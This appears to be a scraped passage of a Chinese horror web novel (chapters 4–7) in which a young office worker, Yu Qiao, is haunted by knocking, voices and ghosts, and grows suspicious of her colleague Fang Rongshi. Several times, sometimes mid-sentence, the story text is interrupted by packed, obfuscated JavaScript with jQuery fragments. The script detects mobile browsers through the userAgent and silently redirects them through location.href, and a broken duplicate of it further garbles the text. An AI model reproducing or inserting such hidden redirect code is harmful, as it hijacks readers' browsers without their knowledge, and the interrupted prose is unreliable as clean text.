在黑暗里瞪着眼睛不知道过了多久,外面的雨声都变小了,那个声音也没再出现。 自己吓自己~郁峤松了口气,将手机充上电准备继续睡觉。 可今晚似乎就是不打算让她好好睡觉,闭上眼睛没多久就听见外面的楼道里的脚步声,连续不断的,跑上楼,跑下楼,跑上,跑下……其中还伴随着小孩的嬉闹玩耍的声音。 打开手机一看,凌晨一点,还有六个小时可以睡。 到底是谁家的小孩啊!那么能闹腾!郁峤有些抓狂了。 但没一会儿,小孩吵闹的声音也消失了。 终于能好好睡觉了,郁峤重新拿起手机打算给自己播一段有声书催眠。 可当她再次快要入睡时,又一个动静吵醒了她。 外面客厅似乎有什么东西摔在了地上,碎了,听声音大概是她放在桌子上的玻璃杯。夜深人静的深夜里玻璃碎掉的声音简直太惊悚了,郁峤被吓得一个激灵。 那个杯子,她确定她放在桌子深处,绝对不是靠边放的,而且就算没放稳也早该掉了,怎么现在才掉下来呢? 一个可怕的想法从脑海里挣-扎着冒了出来,尽管之前郁峤极力压抑着它,但它已经不受控制开始蔓延,使她四肢僵硬。 只要不出去就好了,郁峤有些哆嗦地往被子里缩了缩,只要待在被子里就安全,之前那么多次也没发生什么事情,不过就是做个噩梦,只要等到天亮就好了。 睡觉吧,睡觉吧。 郁峤努力平复着自己的心跳,但依旧心跳如鼓。 外面又响起了一阵压抑的雷声,但雨似乎已经停了。 就在这寂静地令人窒息的黑暗里,传来了一阵敲门声。 咚咚咚。 咚咚咚。 咚咚咚。 不紧不慢,却像催命的魔咒,一下一下地凿在郁峤的心上,好像还有人在说些什么,只是太小声含糊。 是谁在外面?郁峤拿起手机想查看监控,却迟迟不敢打开,她不知道打开监控后会看见什么东西出现在自己眼前。 咚咚咚。 咚咚咚。 敲门声还在继续,模糊的人声也逐渐变得大声,郁峤使劲分辨着外面那人说的话,但还是听不清楚。 敲门声戛然而止。 在落针闻声的黑暗里,郁峤突然听清楚了那句话。 这时说那句话的人好像不在门外而在她的枕边,低沉的声音如同鬼魅。 “让我进去呀,吾妻。” 4. 第4章幻听幻视 声音虽低,但异常清晰,冰冷的呼吸吹拂在她耳边,让人禁不住打了个寒颤。 郁峤身体一僵,甚至忘记了发-抖,心脏像是被一只冰冷的手捏住了,手机屏幕发出的光将她的脸照的煞白。 那个人,进到自己房间里来了? “让我……进去……”再次开口时,那声音又回到了门外,但依旧不依不饶地在门外喊着,敲门声也还在继续,保持原有的频率,不紧不慢,但压迫感极强。 咚咚咚。 咚咚咚。 因为紧张和恐惧,郁峤觉得自己的头皮似乎都被揪了起来,整个大脑似乎是在铁轨上被火车压过,头痛欲裂,但又矛盾地感到麻木。因为急促的呼吸,腹部一松一缩的痉挛着,心脏似乎要挣脱肉-体的束缚跳出体外了,疯狂敲打着这具身体。 郁峤就维持着手握手机侧躺的姿势没敢动弹,她怕万一自己挪动一分,那东西就会突然出现在自己眼前,伸手将自己拖向无边无际的黑暗里。 敲门声不知道持续了多久,郁峤也不知道自己维持着那个姿势维持了多久,到后面她半边身体都麻了,手机也主动熄屏变黑,她的眼前又陷入一片黑暗里。 门外的声音渐渐变小了,不知道是那东西力气用尽了还是自己连耳朵也麻了。 不过郁峤昏睡前确定了一件事,那个东西在门外敲了这么久的门,嘴里还一直喊着让它进来,却没有进一步的动作,那就说明那个东西现在暂时是没办法进入到自己家里的。 在得到这条结论后,郁峤终于放心昏睡了过去。 次日,当手机闹钟响起时,郁峤觉得自己很有可能会猝死在这个早晨。 外面的白天的光线从厚实的窗帘纤维间挤进来些许,让房间处于一个蒙蒙亮的状态,郁峤挣-扎着从床上爬起来将窗帘拉开,窗户上窗台上都没有被风吹到这里的衣服。 外面虽然多云小雨但好歹也是白天了,天光大亮,郁峤重重地松了口气。 我还活着。 因为睡眠严重不足,郁峤今天起床起得极为困难,心速异常,还伴有干呕症状,昏昏沉沉的,人在地上走魂在天上飘。 客厅里并没有碎掉的杯子,郁峤确认了好几遍,确定没有一点碎片,桌子上唯一的杯子好好地站在桌子上。 洗漱时郁峤都不敢看镜子,怕会被自己的脸色吓到。 收拾好出门时,郁峤忍不住多看了几眼防盗门,除了门上的一些装饰被风吹歪了一点外似乎并没有其他不对劲的地方,好像昨天晚上什么也没有发生。 郁峤动手随便整理了一下。 在坐上跟沙丁鱼罐头一般的公交车后郁峤终于觉得自己的魂魄入体了。 因为下雨,整个车厢的空气都带着潮湿的难闻气味,身边不是去上学的学生就是跟她一样的上班族,被迫早起的人心情都不会太好,几乎每个人都死气沉沉的,但这些平常让她觉得难受的一切似乎给她传递了一丝活力。 今天还幸运地抢到了一个座位。郁峤决定借着这点时间争分夺秒地补个觉。 合上眼没多久,郁峤想起了一件事情,她掏出手机打开了监控app,打算看看昨天晚上监控有没有录下什么东西。 外面人这么多,又是白天,这一系列条件给了郁峤一点安全感。 在做好心理建设后郁峤打开了视频,找到时间节点设置倍数后开始一点一点地往后看。 晚间十一点。 零点。 凌晨一点。 凌晨两点。 …… 一直到外面的环境慢慢变得明亮,镜头前也什么都没有发生。 什么都没有。 没有跑来跑去的小孩,更没有大半夜敲门的神经病。 除了因为外廊窗户没关被风吹乱了门上的装饰外,一切都正常地不能再正常了。 那凌晨听见的敲门声,外面的人声,到底是什么呢?郁峤觉得自己的血液都凝固了,耳边嗡的一声,或许是公交车的空调开得太低了,郁峤冷得有些发-抖。 “你没事吧?”有人注意到了郁峤的脸色,“是低血糖吗?我这里有巧克力。”说着一枚巧克力就出现在了郁峤跟前。 “谢谢,我还好。”郁峤抬头朝对面挤出一个笑容,只可惜她自己看不见自己的脸色有多差。 给巧克力的是个穿着校服的小妹妹,见郁峤惨白如纸的脸色后吓得直接将巧克力塞进她手里,催促她赶快吃。 郁峤确实也没吃早餐——实在是没心情没胃口,于是拆开包装将巧克力塞进嘴里,朝小妹妹含糊地再说了声“谢谢”。 郁峤打算将发生的事情告诉方容时,可一直保持全勤的方容时今天却缺勤了。 “方容时啊,请假了,说是今早出门被车撞了。诶呀,下雨天就要注意一点啊……” 车祸?郁峤心里咯噔,她实在是不想再听见坏消息了。 回到工位后郁峤立马给方容时发了微信询问情况,没过多久方容时就回了消息。 “我没事,就是手臂擦碰点皮,主要是交警这边需要处理一些事情。”方容时发的语音,语气很平静,听起来确实不像有事。 “你没事吧?”不等郁峤恢复,他问。 郁峤本来想跟方容时说说晚上的事情,但现在也不太好麻烦人家了,“没事,就是你昨天问要不要去爬相山,我想了想,觉得还是去吧,好久没有亲近大自然了。” “好啊。”简短的回复,中断了聊天。 在经历了这些事后郁峤自然是没什么精力工作,上班摸鱼将事情告诉给了路清。 “你说我该不会是精神上出现什么问题了吧?”郁峤真的混乱,如果不是自己精神有问题,那就是鬼怪在纠缠自己了,可鬼怪什么也太荒谬了。 “精神病跟闹鬼,你能接受那种说法呀?”路清问。 “都不能。” “今天下午请假我们去医院看看吧,”路清先替郁峤选了,“实在不行咱们再去请法师帮忙。” “好。”思索片刻,郁峤点头。 郁峤的脸色想请病假简直易如反掌,路清也请假跑来陪郁峤一起去医院,两人第一次来精神科,都有点紧张,因为精神科这边的病人都十分年轻,郁峤往这边一站都显得有些年过半百了。 没想到精神科的病人也不少,两人坐在外面的凳子上排队,郁峤靠着路清的肩膀昏昏欲睡,路清看着电子显示屏上的名字。 “她好惨呀。” “就是啊,年纪轻轻怎么就这样了?” “诶呀,还戴着工牌,应该是上班请了病假来医院的吧,啧啧啧,要我说上班还不如死了呢,像我们一样在这里看八卦多好呀哈哈哈哈。” “说起来妇产科那边又有大瓜了,快去快去。” 在一阵嘈杂的环境音里,郁峤隐约地听见了几声格外不一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114196|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,那几句话仿佛与其他声响不在同一空间,却突兀又融洽地混在了环境里。 谁啊?那么闲,专门在医院里吃瓜看戏?郁峤睁开眼睛向刚才声音传来的方向看去,发现那里只坐了一位穿着病号服肤色苍白看着大概上初中的男生,正看着她。 病人啊。郁峤叹了口气,感叹现在小孩年纪轻轻就在精神科住下了,学习压力是得多大呀。 郁峤看着他,他也看着郁峤。 “你在看我吗?”男孩歪着头,嘴巴一开一合,明明距离很远,但声音却格外清楚。 然后郁峤就眼睁睁地看着那个男孩的身影渐渐变淡,直至消失不见了。 “我-操!”郁峤猛然起身差点直接跳了起来,一声爆粗让周围人的注意力全集中在了她的身上,把路清也吓得够呛。 “怎么了?!”路清慌张地四下张望,没发现异常,于是立马伸手拉了一下郁峤让她坐好。 “我刚刚,就在那里,那个椅子那里,坐着个小男孩,穿着病号服,就坐在那里,然后,他突然不见了!你知道吗?就是突然不见了,凭空消失!”郁峤手都在颤-抖,一下指向侧方一下指着自己,哆哆嗦嗦的,情绪激动。 “请1215号郁峤,到04号诊室就诊。请1215号郁峤……”广播终于叫到了郁峤的名字。 “医生!医生!”路清一手举着病历单,一手拽着郁峤冲进了诊室。 从诊室出来后,路清领着单子去拿药了,郁峤给自己找了个位置坐着。 医生诊断,临睡临醒前的幻觉都是正常的生理反应,根据最近郁峤的症状,很有可能是因为最近生活不规律和压力过大还有前段时间经历了被跟踪入室猥亵的事情,导致的精神过度紧张,先慢慢调节一下,再观察一段时间,如果症状没有消失再做其他干预治疗。 真的是幻觉吗?刚才看见的男孩也是幻觉吗? 等路清拿到药缴费后就该回去了,可郁峤一点也不想回去。 她想问问能不能去路清家,或者让路清陪自己一-夜,但她又怕万一真的是鬼怪作祟,那岂不是连累了路清。 要么去酒店?不行不行,酒店会更恐怖的。 郁峤双手紧握放在胸-前,努力将自己缩在一起增加安全感,一双腿焦躁地在不停抖动,很明显的焦虑躯体化。 一个人在郁峤身边坐下了,郁峤礼貌地往旁边挪了挪。 “你还好吧?”很温柔的女声。 “还好,谢谢。”郁峤抬头看去,只见一个年长的女性坐在自己身边,身上穿着这家医院的病号服。 “最近遇到什么事情了?”女人柔声问,虽然穿着病号服,但精神状态看起来比郁峤稳定太多了,“你一个人来的?” “哦,没什么,就是有些幻听,医生说问题不大。”有人陪在身边,郁峤稍稍放松下来一点,“我跟我朋友一起来的,她去帮我拿药了。” “真好。”女人笑着,“对了,你今天还是回家比较好哦。” “什么?” “这几天都待在家里比较好哦。” “什么?”郁峤摸不着头脑。 “郁峤!”路清的声音传来,郁峤下意识朝声音来源看去,见路清提着一小袋子药小跑过来,“走吧,今天晚上我请你吃顿好的,放松一下。” “哦,好。”郁峤怔怔地点点头,扭头想向女人告别,却发现不知何时女人已经离开了。 5. 第5章窗外 路清带着郁峤去吃了之前郁峤惦记了很多次的自助餐烤肉,虽然没什么胃口但也有效地调节了心情,郁峤的脸色看上去好多了。 “要不你请几天假,去我那住几天,我也好照顾你。”路清见郁峤一直拿着手机在刷着什么,“你也别太担心了,你啊可能就是被上次的事情吓到了,过几天就好了,也不会是什么大病。” “不麻烦你了,请几天假要扣好多钱呢,我心疼。再说,医生也说了我没什么事情。”郁峤一手刷手机一手拿着筷子去翻动烤架上的肉。 “随你啦,但是有事情一定要告诉我哦。”路清耸耸肩,作为朋友,路清清楚郁峤的性格,没有再劝,“你在刷什么呢?” “在逛小-红书,看看有没有跟我一样的病友。越看越觉得我这是撞邪了。”郁峤将手机屏幕转给朋友看,决定还是将自己在医院看见的东西告诉朋友,“我今天在医院里真的一个小男生坐在椅子上消失不见了,这一段可能是幻视,但你去给我拿药的时候,有个女病人坐在我身边,我们两个还说话了,不过你以来她就不见了,她消失前还跟我说‘最近待在家里比较好’。” “而且,你看看,还有其他人跟我一样有类似的经历。”郁峤指着屏幕,眼神里迫切地想要得到朋友的认可,“同样是感觉到有人跟踪和偷-窥,还有莫名其妙的敲门声。” 路清注视着郁峤,斟酌了几秒:“那周末的时候我陪你找个道士看看?” “昨天方容时约我周末一起去相山上的道观,正好去看看。”郁峤收回手机坐好,“我也发一帖试试,看看有没有人同病相怜。” “……”路清短暂无语了一下,有些酸溜溜的,“哦~有人陪你了呀。” “哼哼。”郁峤听出了朋友的弦外之音,抿嘴笑笑。 “话说你们两个什么时候才确定关系呀?”路清忍不住八卦,“明眼人都看得出来他喜欢你,你呢也是喜欢他的吧?既然互相喜欢怎么还不确定关系啊?可急死我了……可别是他钓着你吧!” “没有!”郁峤立刻否定。 “你钓着他?”路清脖子一缩表示唾弃这种行为。 “也没有。”郁峤叹了口气,“没那么快确定,现在以朋友身份相处还挺自在的,不着急,等时机到了我自会表白的。” “哦呦,好主动。”路清咧嘴一笑,一副坐等吃瓜的模样。 “好啦,我吃饱了,要回去了。”郁峤觉得烤肉架下的热气都冲到自己脸上了,整个头部都热乎乎的。 虽然吃完晚餐后天都还没黑,但因为实在不顺路,在郁峤好一番劝阻下路清才放弃了绕路送郁峤的计划,两人在出了商场后就分开了。 “上车、下车、到家、锁门,每一个步骤都要给我汇报哦。”分开前路清不放心地反复叮嘱。 “放心放心放心啦。”郁峤小鸡啄米似的连连点头,都快点出脑震荡了。 公交车很快就到了,因为路程较远,郁峤有足够多的时间在公交车上神游。 虽然医生诊断她的情况属于幻听幻视,郁峤自己在此之前也是坚定的唯物主义,但对于现在发生的事情就是有一种直觉,直觉告诉她肯定是发生了什么科学暂时无法解释的事情,因为不管是夜晚的敲门声跟今天在医院里见到的……这一切都太具真实感了。 她现在甚至不敢回去,但今天的那位女病人却让她不要离开家里,郁峤倾向相信她,因为那个女病人身上跟方容时一样,有种让人感到安心的力量。 再说,昨天晚上那东西在门口折腾了那么久都没能进门,那不就说明它进不来吗?或许是跟西方的吸血鬼那样,只要主人不同意就没法进到屋里来。 总之郁峤相信家里目前是安全的。 突然想起来,今天上午简短聊了两句后就没再问方容时的情况了,对面也没有再来消息,也不知道车祸处理得怎么样了。 郁峤打开手机想发个消息,但又不知道说什么,毕竟自己也是一脑门官司。 算了,有什么事情明天再说吧。郁峤将手机熄屏反扣在腿上。 “你们两个什么时候才确定关系呀?”路清的声音不知怎地在耳边响起。 什么时候确定关系?看着车窗外快速后退消失的景色,郁峤再次神游起来。 她跟方容时是在工作单位认识的,方容时算是前辈,在郁峤刚入职时提供了不少帮助,所以在最开始郁峤就对这个长相性格俱佳的同事抱有好感。 工作上交集多了之后便慢慢熟络了起来,逐渐发现双方的喜好居然高度重合!身边有个能一起聊感兴趣话题的上班搭子简直是职场里的一-大幸事,于是两个人就顺理成章地越走越近了。 方容时这个人,不管是作为路人还是作为同事还是作为朋友都是极好的一个人,他温和有礼情绪稳定工作能力也强,跟所有人都能和谐相处,工作快两年,郁峤也没见他跟别人闹过矛盾。 作为朋友就更不用说了,如果有一本教人如何做一个合格的朋友的教科书,方容时简直可以去做优秀范本。 跟虚构出来的人一样。郁峤有时候会这样在心里评价他。 这样一个各方面都优秀的异性在身边,还对自己有好感,作为一个有着七情六欲的凡人,郁峤肯定是心动的,如果是在上学的时候郁峤可能已经主动告白了,但郁峤直到现在也没有主动捅破这层已经岌岌可危的窗户纸,不是因为她害羞,也不是因为想等着方容时主动开口,而是有其他顾虑。 方容时太完美了,完美到几乎挑不出毛病来。 当一件事情一个人太过于完美时,就该警惕起来了,说不定这就是一个有针对性的陷阱呢? 郁峤不愿用恶去揣测别人,但还是有所顾虑,即使自己确实十分喜欢方容时。 再考察一段时间吧。 郁峤再次打开手机开始查看今天的监控,跟往常一样,一切正常。 郁峤时不时就看一眼监控,外面的天色渐暗,郁峤也到站了。 虽然还没有完全黑下来,但巷子里因为有房檐遮挡所以会额外暗些。郁峤现在只想赶紧跑上楼然后将门反锁。 在快到大门口时,正处在郁峤余光里的一个巷口出现了一个身影,郁峤警惕地扭头看去,正好看见了一张熟悉的侧脸从巷口经过,然后消失了。 方容时?郁峤有些疑惑,于是上前跑了几步,可到转角处再看时却没看见任何身影。 难道这也是幻视?郁峤烦躁极了,踹了一脚地上无辜的小石子转身掏出钥匙准备开门上楼。 刚进楼梯间,郁峤就感到了一股寒意,立马三步作一步飞奔上楼,用最快的速度将门打开蹿进屋里然后砰一声将门反锁。 “呼。”在确定门锁好后郁峤才松了一口气,打开客厅的灯走到桌前给自己倒了杯水。 也不知道今天晚上会发生什么。虽然灯光很亮房子也不大,但郁峤心里的恐惧还是没有减少半分。 今天晚上开着灯睡觉吧,把客厅厨房厕所的灯都打开,大不了这个月多交点电费。 郁峤看着桌子上今早在医院拿的药,想了想还是吃了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114197|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 图个心安也好。 为了转移注意力,郁峤选择了最快捷有效的方法——刷手机,网络真的是人类最伟大的发明之一,与此并列的还有Wi-Fi跟空调。 精彩的网络世界短暂地让郁峤忘记了那些糟心的事情,但到底还是要从数据海洋里游出来的,定的闹钟一响,郁峤也该洗澡上-床了。 走到浴室门口,郁峤就退缩了,倒不是她抗拒洗澡,主要是那扇窗户让她感到极为不安心,总担心洗到一半就有个什么东西出现在窗外。 虽然以前偶尔也会冒出这种想法,但也就是个转瞬即逝的念头,现在这种事情是真的有可能发生。 郁峤拿着睡衣站在浴室门口,觉得自己还是不能一身臭汗地躺到床上,于是硬着头皮视死如归地走了进去。 为了壮胆,郁峤在某粉红视频网站上找了几个极具红色精神的视频给自己壮胆,听着正义激扬的音乐看着振奋人心的视频,郁峤觉得自己身上正散发着社会-主-义的光辉,任何牛鬼蛇神都不害怕了。 但这个状态没有持续多久,因为在一阵音乐声与淋水声中,郁峤隐隐约约还听见了什么东西敲击玻璃的声音。 很轻,但很清脆,每次敲三下,这点声响在音乐与淋水声里格外突兀。 有东西在外面。 郁峤几乎是一瞬间就想到了这个可能,感觉心跳都暂停了一瞬,一股快凝聚成实质的视线直戳着她的后脑勺,让她没有勇气与力气抬头去看。 幻听,这是幻听,都是幻听……郁峤安慰自己,手上的动作加快,冲去泡沫后衣服也顾不上穿,低着头取来浴巾裹上推开门出去了。 但作为一个好奇心有些重的女生,郁峤在出门转身离开时还是忍不住用余光瞥了一眼那扇窗户。 她看见,在原本应该一片模糊黑暗的窗外,此时有一个半圆形的东西从下面冒出来遮住了后面的黑暗,那片突兀的颜色虽然模糊不清,但依然能辨认出眼睛的位置,那是半颗头! 除了那半颗头外,还有一只举起的手,正轻轻叩击着磨砂玻璃。 咚咚咚。 咚咚咚。 郁峤双腿一软差点滑倒,不敢再做耽搁,逃命似的跑进了房间关上了门。 天呐!那是什么?!心跳用力地像是打雷,郁峤只觉得脑子在嗡嗡作响,全身的器官都剧烈收缩了一下,浑身上下都不对劲。 没关系,它们进不来,没关系,它们进不来,没关系……郁峤不停安慰自己,只要待在房间里就一切安全,因为外面的东西没有办法进来。 下一秒,原本明亮的灯突然滋滋响了两下,熄灭了。 黑暗能将人的感官跟恐惧放大。 “哐!”房间的窗户外似乎有什么东西猛烈地撞了上来,发出一声巨响,几乎要将郁峤的理智撞碎。 郁峤立马捂住自己的嘴才没能尖叫出声。 “哐!”又是一声,好像是有人在用自己的身体去撞玻璃窗户,但连续撞了好几下都没有撞破,即使玻璃窗被撞得哐咣作响,那看似脆弱的玻璃也没有碎。 它们进不来。 郁峤紧紧盯着那扇被窗帘遮住的窗户,目眦欲裂。 “郁……q…峤……”窗外传来了轻微的响声,像是那东西在说话,声音很耳熟,就是昨天是门外的声音,不同的是今天那东西喊出了她的名字。 “郁……峤……” “郁峤……” “让我进去……让我进去……” 不,绝对不。郁峤心里回应道。 6. 第6章红痕 “让我……进去!”声音逐渐变得凄厉扭曲,开始有些不耐烦与愤怒,撞击窗户的频率越来越快,用力之大好似将整栋房子都撞得摇晃起来。 它真的进不来。郁峤愈发肯定了,但依旧不敢松懈,紧绷的神经让她觉得自己的太阳穴在突突得跳。 “到底是谁!是谁!是谁做的这些!你已经是我的了!是我的了!”外面的东西喊得撕心裂肺饱含愤怒,一般情况下这个点还大吵大闹是会被左邻右舍群起而攻的,但现在好像除了郁峤其他人都听不见,“凭什么阻止我进去!” 什么就是你的了?郁峤又害怕又疑惑,甚至想开口去问它,又不敢出声。 这次郁峤特地打开手机查看了时间,那让人心惊肉跳的动静维持了大概十几分钟,然后突然寂静无声了。 但即使声音消失了郁峤也不敢轻易放松,生怕那玩意会再次反击。 果然,这次的担心是有用的。 黑暗里,似乎有什么东西窸窸窣窣地从窗户那里钻了进来,虽然声音微弱,但在一片寂静的黑暗中似乎被放大了好几倍,郁峤几乎能通过声音描绘出那东西的路径。 从窗户到地面,绕过书架前的椅子,经过挂着衣服的架子,围着床绕了一圈,然后郁峤感觉到有什么东西爬上了她的床。 怎么回事?它怎么突然就进来了?郁峤下意识想跳起来逃跑,但由于太过惊吓还一直保持同一姿势导致身体僵硬,现在她甚至没办法利索地从床上爬起来。 那东西似乎很轻,缓缓爬上被子,然后来到了郁峤的耳边。 郁峤只得绝望地紧紧闭上了双眼。 接下来会发生什么?是像恐怖片里一样被拖入床底?还是那东西想要贴脸跳杀?又或者是要附身在她身上?那这样的话明天那东西就要代替她上班了,它会不会因为不熟悉工作从而导致自己被辞退啊? 越害怕就越容易胡思乱想,郁峤根本没办法控制自己那越跑越歪的思维。 但所预想的事情都没有发生,郁峤只觉得有一根冰冰凉凉的东西缠绕住了她的左手手腕,然后那冰冷的触感就消失了。 “我们会在一起的……”外面传来似乎是在窃喜地声音,声音飘飘忽忽,没有实感,“很快,你就会来陪我了……吾妻……”声音渐渐隐去了。 这次应该不会再来了吧?郁峤颤-抖着呼出一口憋了很久的气,觉得那根绷得很紧的神经突然断了。精神上一松,身体也跟着脱力,脑袋一歪,昏睡了过去。 次日,郁峤的精神不仅没变好,反而看起来更差了。 “你没事吧?”就连同事也不免担心起来,“你昨天还去了医院呢,是生什么病了吗?” “可能,是精神病。”郁峤捂脸叹气,不用看镜子她也能猜出自己现在的脸色,睡眠不足精神衰弱,气血估计也不足,出门前为了自己不半路低血糖,还特地给自己买了袋甜牛奶。 “最好去大医院检查一下吧,万一是什么大病……” “好啦好啦,就是最近因为一些事情有些焦虑,没什么大事,等发工资了就好了。”郁峤赶紧打发同事离开了。 “那就好,要是不舒服真的要去检查啊,别拖着。”同事见状也只好离开不再打扰。 郁峤病恹恹地转回工位,有些担忧地摸了摸左手手腕上的红痕。 一道很显眼的印子,看起来像是被什么东西勒红了,大概就是昨天晚上钻进她房间的那个东西,因为位置完全对得上。 昨天那东西一直在说什么“你是我的”,这个东西估计就是它做的一个标记?真晦气……郁峤用大拇指用力蹭了蹭红痕,红痕没有任何要消失的迹象。 她该不会是被什么流-氓鬼给看上了吧?就像上次罗四的事情那样……一个荒谬的念头从脑袋里升起,郁峤感觉自己身上起了一身鸡皮疙瘩。 太自恋了太自恋了…… 越看越觉得膈应,干脆拉下衬衫袖子将手腕遮住,眼不见为净。 想起昨天在网络上发的帖子,郁峤打开手机准备看看是否有人回复了有用的消息。 “在看什么?”方容时的声音从身后传来,他刚刚上楼递交资料,这会儿才下来,“听他们说你昨天请病假了?严不严重啊?看你今天的脸色也不太好,要不今天的工作我帮你分担一点?” “我没事。”郁峤几乎是下意识地回答,顿了顿还是如实回答了一些,“其实也不是完全没有事,医生说我可能是因为最近太累了,有些幻听幻视,开了点药,昨天……也没睡好。” “幻听幻视?”方容时沉吟。 “你呢?”郁峤反问,“你昨天怎么样了?都处理好了吗?” “我?”方容时一愣,旋即很快反应过来,“哦,其实没多大事,就是开车时不小心被一辆快迟到赶着上班不小心闯红灯的大哥给追尾了,我没受伤,主要是车子的问题。开车还是不能赶,这不,我们两个都缺勤了。” “哦,那你下午有去哪里吗?”郁峤问,她还是觉得昨天看见的身影太过真实。 “没有啊,一整天都在警察局跟那个大哥掰扯,他一直认为是我全责,闹得我没法走,直到下午四点我才离开呢,回去随便吃点东西就睡了,太累了。”方容时深深叹了口气,“好在警察同志明察秋毫。” 你没有到我家附近转悠吗?郁峤观察着方容时的表情,似乎想要从他的微表情里察觉出什么蛛丝马迹,但方容时语气表情都再正常自然不过了,什么也没有发现。 一定是自己看错了。郁峤将目光从方容时脸上挪开,为自己刚才怀疑人家而感到有些心虚。 “说回你的,幻听幻视是怎么回事?”方容时将话题转回郁峤身上。 “说来话长,中午吃饭时再说。再聊下去就要被抓摸鱼啦!”郁峤催促对方赶紧转回工位。 “行。”方容时听话地回到了工位。 郁峤打开了社交平台,查看有没有新消息。 有不少人评论回复,看来大家对这种灵异事件还是蛮感兴趣的,只可惜有效的消息却不多。郁峤在一堆评论里快速掠过。 “我倒是没有经历过什么被人敲门的事情,但是医院里遇见的神奇病人我倒是真的遇见过。”一条评论引起了郁峤的注意。 “医院嘛,死那么多人,肯定会有些玄学在身上的。之前做个小手术在医院住了几天就在医院里见过,大晚上的会听见有人在病房外的椅子上聊天,但听不清楚,出去看时又发现外面没人,偶尔还能看见有人在医院走廊里一晃而过。” “不过听病房里的老人家说那些大多数都没什么恶意,有些还是医院的‘守护神’呢,会帮忙照看一些‘有缘人’,不过基本上都喜欢在医院里乱逛吃瓜,但也会有邪恶的鬼魂,不知道你遇见的是哪一种。” “守护神”吗?郁峤回忆了一下,那个坐在自己身边的女人气质温和,态度礼貌,长得也好看……虽然不能以貌取人但是郁峤确定自己遇见的就是善良的鬼魂,因为她还提醒自己不要出门。 如果还有机会见面的话,郁峤想,就给她买点礼物吧,也不知道她会喜欢什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114198|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续翻看评论。 “感觉姐妹你这情况很像被人下咒或者借运了啊?” “请细说。”郁峤回复。 “我之前的朋友也遇见过,情况跟你还蛮像的,但没有你这么严重,随便找了个大师就解决了。我劝你最好多注意一下身边的人,想想有没有什么人知道你的生辰八字什么的?”那人似乎也在上班摸鱼,回复地很快。 “多谢解答,大恩大德无以为报。”后面跟了两个抱拳的表情。 知道所谓生辰八字的除了父母外郁峤想不到其他人,毕竟连她自己都不知道……不对,郁峤想起来了,之前母亲不是说有个姑姑要了自己的生辰八字去给自己算姻缘吗? 郁峤立马翻找出那天与母亲的聊天记录,然后想起自己虽然跟这个姑姑不熟,但是跟她的女儿却是初中同学,当年毕业时还加了好友。 等到时候找她问问吧。郁峤从乌泱泱的一众八百年不联系的列表里找到了那个差点被她忘记的表妹兼初中同学。 “这些是刚才方姐要我给你的。”在便签编辑文案时,方容时递来了一叠材料。 “好的。”郁峤伸手去接,不料下一秒手腕却被抓住了。 “怎么了?”郁峤吓了一跳,下意识想要将手收回,但方容时的手劲却大得厉害,不仅没能挣脱,还把她的手握得生疼。 “你手腕上的红痕,是怎么来的?”方容时盯着那道明显的红痕,眉头紧蹙,平常温和的脸色竟看出一丝生气,语气里也带着质问。 “就是昨天晚上……”郁峤想要解释,然后就发现身边的同事都是一副吃瓜的表情,尴尬咳嗽了两声,“微信,微信……” “抱歉。”方容时分开了郁峤,神色与语气又恢复到了往常一般。 “没事。”郁峤接过资料。 两人转身坐回工位。 “到底怎么了?可以告诉我了吗?”跟着一个小熊挠头表情包。 “我感觉我到遇鬼了。”郁峤简短地敲下着几个字,觉得自己荒谬地有点好笑,怕方容时不相信,追加,“是真的,虽然医生说我可能是因为压力太大所以有时候会幻视幻听,但是我真觉得那些不是幻觉。” 方容时没回消息,扭头看了身后的郁峤一眼。 “我感觉我估计是被什么脏东西缠上了。”郁峤打字速度飞快,气泡框一个接着一个的跳出来,“我最近总是特别倒霉,精神还特别差,明明都已经睡足了!” “而且这几天都有人在敲我的门!昨天还敲了我的窗!” “那可是七楼!我的天呐!” “那东西还偷看我!” “还在我屋外大喊大叫!” “你刚刚看见的红色痕迹就是昨天晚上出现的!大半夜不知道什么东西钻了进来缠上了我的手。” “昨天去医院的时候你知道我看见什么了吗!?” “女鬼!她还坐我身边跟我讲话!不过我觉得她是个好人……” “总之就是这样。” 追加几个代表“死目”的表情包。 “……所以你有什么,唔,解决问题的想法吗?”方容时问。 “你明天去相山吗?”郁峤干脆转身询问。 “去呀,不是都说好了吗?”方容时也回头看向她。 “我觉得我需要去道观看看。”郁峤坚定地看着他,“我最近太倒霉了,感觉需要大师替我看看。” “只要你想去,我随时都可以。” “好啊,那我们明天一起去吧。” 7. 第7章疯女人 方容时就是这样,好像不管郁峤做什么他都能顺着,导致郁峤一有事情就下意识地去找他,久而久之已经养成习惯了。 几乎是要把她惯坏了,简直居心叵测! 